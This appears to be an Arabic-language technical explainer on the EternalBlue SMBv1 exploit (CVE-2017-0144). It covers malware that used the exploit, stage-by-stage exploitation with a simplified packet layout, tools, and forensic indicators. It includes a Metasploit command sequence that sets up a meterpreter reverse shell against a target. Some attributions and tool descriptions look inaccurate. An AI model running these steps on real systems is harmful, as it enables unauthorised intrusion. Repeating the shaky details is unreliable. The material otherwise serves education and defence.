🌐 CVE-2017-0144 — EternalBlue: ثغرة تنفيذ التعليمات البرمجية عن بُعد في SMBv1 لنظام Microsoft Windows

"استغلال واحد. عشرات العائلات الضارة. مليارات في الأضرار."

---

🔍 ملخص سطر واحد

CVE-2017-0144 هي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد في تطبيق خادم SMBv1 في Microsoft Windows. الاستغلال المعروف باسم EternalBlue استغل هذه الثغرة واستُخدم في هجمات عالية التأثير (أبرزها WannaCry).

---

🔥 أفضل 10 برمجيات خبيثة استخدمت EternalBlue (تفصيلي)

#	البرنامج الخبيث	النوع	أول ظهور	الجهة الفاعلة	الضرر	ملاحظات
1	WannaCry	برمجية فدية	12 مايو 2017	مجموعة Lazarus (كوريا الشمالية)	4-8 مليارات دولار	مفتاح القتل: iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
2	NotPetya	ماسح (تظاهر بأنه فدية)	27 يونيو 2017	Sandworm (روسيا)	10 مليارات دولار+	استخدم Mimikatz + EternalBlue + PSEXEC
3	Bad Rabbit	برمجية فدية	24 أكتوبر 2017	Indrik Spider	إقليمي	هجوم تحميل مزيف لتحديث Flash
4	Uiwix	برمجية فدية	مايو 2017	غير معروف	منخفض	لا مفتاح قتل، أكثر خفاءً من WannaCry
5	EternalRocks	دودة	مايو 2017	غير معروف	متوسط	7 أدوات NSA (بما في ذلك DoublePulsar)
6	Adylkuzz	عامل تعدين عملات رقمية	مايو 2017	غير معروف	عالي (صامت)	قام بتعدين Monero قبل WannaCry
7	Retefe	حصان طروادة مصرفي	2017–2018	غير معروف	بنوك أوروبية	استخدم EternalBlue للحركة الجانبية
8	TrickBot	برمجيات معيارية خبيثة	2017–2021	Wizard Spider	عالمي	أسقط Ryuk عبر EternalBlue
9	Emotet	محمل	2017–2021	TA542	عالمي	استخدم كمدخل لـ Cobalt Strike
10	Clop / Dridex	برمجية فدية	2019–2025	TA505	الرعاية الصحية، الحكومة	لا يزال نشطًا في 2025

---

🧨 تطور استغلال EternalBlue

الأداة	الإصدار	الميزات
EternalBlue (الأصلي)	أبريل 2017 (Shadow Brokers)	RCE عبر SMBv1
DoublePulsar	أبريل 2017	زرع باب خلفي (ring0)
EternalRomance	أبريل 2017	متغير SMBv3
EternalChampion	أبريل 2017	مسار SMB بديل
وحدة Metasploit	مايو 2017	exploit/windows/smb/ms17_010_eternalblue
FuzzBunch	أبريل 2017	إطار استغلال NSA
Impacket + PSEXEC	2017–2025	استغلال SMB بلغة Python

---

🔍 كيف تم استغلال CVE-2017-0144 (EternalBlue)

غوص تقني خطوة بخطوة في ثغرة RCE في SMBv1

"حزمة واحدة مشوهة. وصول كامل للنظام SYSTEM. لا تسجيل دخول. لا نقرة."

---

🎯 تدفق الاستغلال باختصار

[المهاجم] 
   │
   ├──▶ يرسل طلب **Trans2** من SMBv1 مصمم خصيصًا
   │       → يسبب **تجاوز سعة الكومة** في `srv!SrvOS2FeaListSizeToNt`
   │
   ├──▶ يكتب فوق مؤشرات الدوال → **كود شيل في النواة**
   │
   └──▶ ينفذ باب خلفي **DoublePulsar** → **حمولة في Ring-0**
           (مثل `mssecsvc.exe` من WannaCry)

---

🛠️ المتطلبات الأساسية للاستغلال

المتطلب	التفاصيل
الهدف	Windows مع تمكين SMBv1 (افتراضي قبل Win10)
المنفذ المفتوح	445/TCP (أو 139/TCP عبر NetBIOS)
بدون مصادقة	غير مصادق — لا حاجة لاسم مستخدم/كلمة مرور
الهيكل	x86 أو x64 (كلاهما مدعوم)
حالة التصحيح	غير مصحح (قبل MS17-010)

---

🚀 مراحل الاستغلال (7 خطوات)

المرحلة 1: التفاوض على بروتوكول SMB

SMB_COM_NEGOTIATE → يرسل العميل قائمة اللهجات
يستجيب الخادم: SMBv1 مدعوم → تابع

السبب؟ يؤكد أن SMBv1 نشط.

---

المرحلة 2: اتصال الشجرة إلى IPC$

\\TARGET\IPC$ → مشاركة مجهولة لأنابيب SMB

الغرض: إنشاء جلسة لإرسال طلبات المعاملات.

---

المرحلة 3: إعداد جلسة Trans2 (أساسي)

• يستخدم SMB_COM_TRANSACTION2 (0x32)
• الأمر الفرعي: SESSION_SETUP
• إعداد بنية FEALIST بحجم مشوه

FEALIST {
    SizeOfListInBytes = 0xFFFF (أو قيمة كبيرة)
    ...
}

تشغيل الخطأ: SrvOS2FeaListSizeToNt() تثق بهذا الحجم دون التحقق من الحدود.

---

المرحلة 4: طلب Trans2 ثانوي (تجاوز السعة)

• يرسل حزمًا ثانوية متعددة
• تحتوي كل منها على FEALIST + FEA (السمات الموسعة للملفات) بحجم زائد

FEA {
    AttributeNameLength = 0x00
    AttributeName = "A" * 0x1000  → تجاوز السعة للمخزن المؤقت
}

رش الكومة: يخصص كتلًا كبيرة للتحكم في تخطيط الذاكرة.

---

المرحلة 5: تجاوز سعة المخزن المؤقت في النواة

srv!SrvOS2FeaListSizeToNt(
    PFEALIST FeaList,      // يتحكم فيه المهاجم
    PULONG pNtFeaListSize  // مؤشر الإخراج
)
{
    // لا يوجد تحقق من FeaList->SizeOfListInBytes
    memcpy(dest, src, FeaList->SizeOfListInBytes);  // BOOM
}

النتيجة:

• تجاوز سعة الكومة → الكتابة فوق كائنات النواة المجاورة
• الهدف: SRVNET_BUFFER أو POOL_HEADER
• الكتابة فوق مؤشرات الدوال (مثل روتين Free)

---

المرحلة 6: تنفيذ كود شيل النواة

• يتحكم المهاجم في RIP/EIP عبر مؤشر دالة مكتوب فوقه
• يقفز إلى كود الشيل في التجمع غير القابل للترحيل

يقوم كود الشيل بما يلي:

1. الانتقال من Ring-0 إلى Ring-3 (عبر KeUserModeCallback)
2. تخصيص ذاكرة في وضع المستخدم
3. تنزيل/تحميل الحمولة (مثل mssecsvc.exe)
4. تثبيت الباب الخلفي DoublePulsar

---

المرحلة 7: زرع الباب الخلفي DoublePulsar

• يحقن برنامج تشغيل النواة (مفتاح XOR 0x00120034)
• يستمع إلى حزم SMB السحرية:
  • Ping: 0x0002C001
  • Exec: 0x0002C002 + الحمولة

مثال WannaCry:

EternalBlue → DoublePulsar → mssecsvc.exe → tasksche.exe → تشفير الملفات

---

🧨 هيكل حزمة الاستغلال (مبسط)

رأس SMB
└── الأمر: 0x32 (TRANSACTION2)
    └── الإعداد: 0x000E (SESSION_SETUP)
        └── المعامل: TotalDataCount = 0x1000
            └── البيانات: 
                [FEALIST]
                  SizeOfListInBytes = 0x1100
                  [FEA #1] NameLen=0, Name="A"*0x1000
                  [FEA #2] ...
                [GROOM x100] → رش الكومة
                [OVERFLOW] → الكتابة فوق التجمع
                [SHELLCODE] → x64 ring0

---

🛠️ أدوات الاستغلال الحقيقية

الأداة	اللغة	الوحدة
Metasploit	Ruby	exploit/windows/smb/ms17_010_eternalblue
Impacket	Python	smbclient.py, psexec.py
FuzzBunch	Python (NSA)	EternalBlue-2.2.0
C2 مخصص	C/C++	WannaCry, NotPetya

مثال Metasploit

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit

---

🔬 أدلة تحليل الذاكرة الجنائي

الأثر	الموقع	القيمة
DoublePulsar	ذاكرة النواة	مفتاح XOR 0x00120034
كود الشيل	تجمع srvnet.sys	نمط 0xCC 0x90 0x48
DLL المحقون	C:\Windows\mssecsvc.exe	SHA256: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa

---